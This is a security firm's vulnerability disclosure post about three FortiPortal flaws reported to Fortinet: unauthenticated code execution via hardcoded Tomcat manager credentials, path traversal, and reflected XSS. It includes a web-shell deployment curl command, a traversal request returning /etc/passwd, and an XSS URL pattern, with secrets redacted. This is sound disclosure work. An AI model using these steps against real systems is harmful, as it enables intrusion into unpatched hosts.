More from Insomnia

Check back to read more Insomnia blogs in the coming months.

August 10, 2021

Ben Knight Senior Security Consultant

Fortinet FortiPortal Vulnerability Disclosures

Ben provides details on the recent vulnerability disclosures to Fortinet in the FortiPortal management portal

We recently disclosed three vulnerabilities to Fortinet's PSIRT in the FortiPortal management portal product.

FortiPortal is a multi-tenant management portal application that integrates with FortiManager, FortiGate and FortiAP. FortiPortal is designed to be either externally-facing, or at least accessible to a whitelisted list of customer IP address ranges. Through some basic scans during testing, we observed about 50 Internet-facing FortiPortal instances.

Although there doesn't appear to be any easy method for downloading a trial instance of FortiPortal, a trial instance of FortiManager can be downloaded from Fortinet's support site by any self-registered user. FortiPortal can be enabled as an add-on feature to an existing FortiManager instance. During our testing, enabling FortiPortal through the FortiManager web application failed. However, the Docker image for FortiPortal can be manually pulled from Fortinet's Docker repository. This allowed us to look for security vulnerabilities in the FortiPortal product by reviewing files on the local filesystem, such as configuration files and decompiled Java code.

Unauthenticated Remote Code Execution CVE-2021-32588

CVSSv3 Score: 9.3

Fortinet PSIRT: FortiPortal - Authentication bypass and remote code execution as root

The highest severity vulnerability we disclosed to Fortinet could allow a remote unauthenticated user to gain code execution on the FortiPortal host.

The root cause for the vulnerability was due to hardcoded Tomcat manager credentials that were discovered in the web application source code that could allow an attacker to deploy arbitrary code to the server.

FortiPortal can run in a Docker container, running on top of the FortiManager host. The FortiPortal web application is a Java application running on a Tomcat web server. Tomcat is configured to publicly expose the management endpoint /manager/text which is accessible to any user with the fpcadmin user credentials.

The fpcadmin user is configured in the tomcat-users.xml file in the Docker image. The password is stored in a hashed format. The hash used is SHA-256 with 1000 iterations. The fpcadmin manager user is assigned the manager-script role, which gives the user permissions to access the /manager/text endpoint.

The following configuration snippet shows the fpcadmin is configured in the /usr/local/tomcat/conf/tomcat-users.xml file.

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" 
  version="1.0">
  <role rolename="manager-script" />
  <user username="fpcadmin" 
    password="<hash_redacted>" 
    roles="manager-script" />
</tomcat-users

As the password is hashed, an attacker would need to recover the plaintext password by cracking the hash. However, the fpcadmin user is used by the application itself to reload the Tomcat configuration. The application uses curl to authenticate to the management endpoint, and instruct the Tomcat server to reload. This process requires that the plaintext password be available to the code calling curl. The password for the fpcadmin user is stored in a Java class as a base64 encoded AES encrypted value. However, the hash is decrypted by the application using a hardcoded key.

The following code snippet from the /usr/local/tomcat/webapps/fpc/WEB-INF/classes/com/ftnt/fpcs/util/FpcReloadTomcatApp.class class shows where the application uses the hardcoded user credentials.

public class FpcReloadTomcatApp {
  private static Logger log = LogManager.getLogger(FpcReloadTomcatApp.class.getName());
  
  private static final String TOMCAT_PWD_ENC = "<redacted>";
  
  public boolean reloadTomcatApp() {
    StringBuffer curlForReload = new StringBuffer();
    curlForReload
      .append("curl -k -u fpcadmin:")
      .append(CipherUtils.decryptString("<redacted>"))
      .append(" https://localhost/manager/text/reload?path=/fpc");
    log.info("execute curl for tomacat reload start " + Thread.currentThread().getName());
    try {
      String output = executeRequest(curlForReload.toString());
      log.info("Tomcat reload context 'fpc' result: " + output);
      return (output != null && output.contains("OK") && output.contains("fpc"));
    } catch (Exception ex) {
      String failedMessage = "reload context 'fpc' failed. details in log. restart Tomcat server to make SAML update in effect.";
      log.error(failedMessage, ex);
      return false;
    } 
  }

The CipherUtils class contains a hardcoded key (a byte array named key), that is used to decrypt the password passed in the reloadTomcatApp() method.

The following code snippet from the /usr/local/tomcat/webapps/fpc/WEB-INF/classes/com/ftnt/fpcs/util/CipherUtils.class class shows where the hardcoded AES key value is set, and the decryption method.

public class CipherUtils {
  private static Logger log = LogManager.getLogger(CipherUtils.class.getName());
  
  public static final byte[] key = new byte[] { 
      <redacted> };
  
  private static final String algorithm = "AES";
  
  private static final String cryptospec = "AES/CBC/PKCS5PADDING";
  
  private static AlgorithmParameterSpec pSpec = null;
...
  public static String decryptString(String stringToDecrypt) {
    try {
      Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
      SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
      byte[] iv = new byte[cipher.getBlockSize()];
      pSpec = new IvParameterSpec(iv);
      cipher.init(2, secretKey, pSpec);
      String decryptedString = new String(cipher.doFinal(Base64.decodeBase64(stringToDecrypt)));
      log.debug("decrypt string");
      return decryptedString;

Decrypting the password returns the plaintext password, that can be used to authenticate to the FortiPortal instance as the fpcadmin admin user.

Exploiting the vulnerability is as simple as compiling a Java web shell as a WAR file, and deploying it to the vulnerable FortiPortal server using the following curl command.

curl --upload-file shell.war -u "fpcadmin:<password_redacted>" https://<fortiportal_url>/manager/text/deploy?path=/shell

Authenticated Arbitrary File Read CVE-2021-36168

CVSSv3 Score: 6.2

Fortinet PSIRT: FortiPortal - Path traversal in controller

Another vulnerability we disclosed to Fortinet was an arbitrary file read issue that could allow an authenticated user to path traverse and read files on the local filesystem of the FortiPortal host.

The vulnerable endpoint retrieves report PDFs stored on the local filesystem on the underlying host. The user supplies the filename of the report in the fileName URL parameter, which is used to specify the file path to be retrieved. The application retrieves the file at the specified path and returns the file content to the user.

An user could supply a path traversal string (such as ../) in the fileName parameter, to retrieve files outside the intended directory. This issue allows an authenticated user to read the contents of any file that the web server has permission to read.

The following code from /com/ftnt/pmc/controller/customer/ReportsController.java shows where the fileName parameter is used to retrieve a file on the local filesystem.

@RequestMapping(value = {"/reportDownload"}, method = {RequestMethod.GET})
public void doDownload(Model model, HttpServletRequest request, HttpServletResponse response, @RequestParam("fileName") String fileName) throws IOException {
  response.setContentType("application/pdf");
  response.setHeader("Content-Disposition", "attachment; filename=" + fileName.replace('/', '_'));
  ServletOutputStream servletOutputStream = response.getOutputStream();
  
  FileInputStream inputStream = new FileInputStream(CommonUtils.getPropValue("reportsdownloadpath") + "/" + fileName);
  byte[] buffer = new byte[4096];
  int bytesRead = -1;
/ 
  
  while ((bytesRead = inputStream.read(buffer)) != -1) {
    servletOutputStream.write(buffer, 0, bytesRead);
  }
  
  inputStream.close();
  servletOutputStream.close();
}

The directory path in the reportsdownloadpath environment variable is retrieved from the application.properties file. The default value is provided below.

maxTxRxValue=9999
reportsdownloadpath=/var/tomcat/util/reports
jbosshostname=https://127.0.0.1:8443/fpc/sec
mailhostname=smtp.fortinet.com

To path traverse out of the default path, the correct number of directories must be specified. For example, to read a file in /etc four ../ traversal strings would need to be passed in the fileName URL parameter. Additionally, the reportsdownloadpath directory needs to exist on the filesystem. A default FortiPortal Docker image that was not configured to communicate with a FortiManager or FortiAnalyzer did not have this directory on the filesystem. However, it is likely that a fully configured and operational FortiPortal instance would have the required directory.

To exploit the vulnerability, login to the FortiPortal application as any authenticated user, and browse to the following URL.

https://<fortiportal_url>/fpc/customer/reports/reportDownload?fileName=<file_path>

An example URL that retrieves the /etc/passwd file is provided below.

GET /fpc/customer/reports/reportDownload?fileName=../../../../../etc/passwd

HTTP/1.1 200
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

Cross-Site Scripting (XSS) CVE-2021-36168

CVSSv3 Score: 5.7

Fortinet PSIRT: FortiPortal - XSS vulnerability

The final vulnerability we disclosed to Fortinet was a reflected Cross-Site Scripting (XSS) vulnerability in the common error page for the FortiPortal web application. The XSS vulnerability is considered reflected as an attacker's malicious script would execute when a user clicks on the malicious link.

The XSS issue occurs when the FortiPortal application returns a HTTP 500 error page. The error web page displays a message string in errorMessage. In some circumstances, the content of error message is user controllable and written in the response without any sanitisation of dangerous characters.

The following code snippet from /usr/local/tomcat/webapps/fpc/WEB-INF/jsp/error.jsp shows where the errorMessage variable is written to the page.

<%@ taglib prefix="spring" uri="http://www.springframework.org/tags"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%@ page session="false" %>
<c:set var="pageName" value="errorPage" scope="request"/>
<!DOCTYPE html>
<html>
  <head>
    <jsp:include page="../../WEB-INF/jsp/templates/include/common/head.jsp"></jsp:include>
  </head>
  <body class="d-flex flex-column h-100">
    <header id="react-header" class="fpc-header header-auto-w">
      <jsp:include page="../../WEB-INF/jsp/templates/include/common/header.jsp"></jsp:include>
    </header>
    <div id="main">
      <div id="body_wrapper" class="public_page_site_container">
        <div class="container pt-4 pb-4 text-center">
          <p>Error: ${errorCode}</p>
          <p>Message: ${errorMessage}</p>

It was observed that an invalid language locale value supplied in the org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE cookie results in the following error message.

GET /fpc/v1/user/self/locale HTTP/1.1
Host: <fortiportal_url>
Cookie: org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE=<

HTTP/1.1 500
...
  <div id="main">
      <div id="body_wrapper" class="public_page_site_container">
        <div class="container pt-4 pb-4 text-center">
          <p>Error: 500</p>
          <p>Message: Invalid locale cookie 'org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE' with value [<]: Locale part "<" contains invalid characters</p>

In order for this issue to be exploitable for XSS, the user-supplied content needs to come from attacker-controllable input, such as a URL parameter.

In Apache Tomcat the org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE cookie is mapped to a URL parameter named lang. By supplying an XSS payload in the lang parameter, an attacker could conduct reflected XSS attacks against application users.

The Tomcat configuration file /usr/local/tomcat/webapps/fpc/WEB-INF/classes/spring/applicationContext.xml shows where the lang URL parameter is configured.

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
...
  <bean id="localeResolver"
    class="org.springframework.web.servlet.i18n.CookieLocaleResolver">
    <property name="defaultLocale" value="en" />
    <property name="cookieHttpOnly" value="true" />
    <property name="cookieSecure" value="true" />
  </bean>

  <bean
    class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="viewClass" value="com.ftnt.pmc.view.HeaderFooterView" />
    <property name="prefix" value="/WEB-INF/jsp/" />
    <property name="suffix" value=".jsp" />
  </bean>

  <mvc:interceptors>
    <bean class="com.ftnt.pmc.interceptor.FilterNonUserCallInterceptor" />
    <bean class="com.ftnt.pmc.interceptor.RequestInterceptor" />

    <bean class="org.springframework.web.servlet.i18n.LocaleChangeInterceptor">
      <property name="paramName" value="lang" />
    </bean>
  </mvc:interceptors>

To exploit the XSS vulnerability, an attacker crafts a URL with a <script> tag in the lang URL parameter. If a user were to click on the link, the attacker's malicious script would execute in the user's security context.

https://<fortiportal_url>/fpc/v1/fmg_fpc_config?lang=<script_payload>

Disclosure Timeline

Note: Dates are listed in NZST (GMT+12).

  • 27 May - Unauthenticated Remote Code Execution disclosed to Fortinet PSIRT.
  • 28 May - We received receipt and reproduction confirmation of the Unauthenticated Remote Code Execution vulnerability from the Fortinet PSIRT.
  • 8 June - Authenticated Arbitrary File Read disclosed to Fortinet PSIRT.
  • 8 June - Cross-Site Scripting (XSS) disclosed to Fortinet PSIRT.
  • 10 June - We received receipt and reproduction confirmation of the Authenticated Arbitrary File Read vulnerability from the Fortinet PSIRT.
  • 14 June - We received receipt and reproduction confirmation of the Cross-Site Scripting (XSS) vulnerability from the Fortinet PSIRT.
  • 4 August - Fortinet PSIRT issued public disclosures for all three vulnerabilities.

To find out more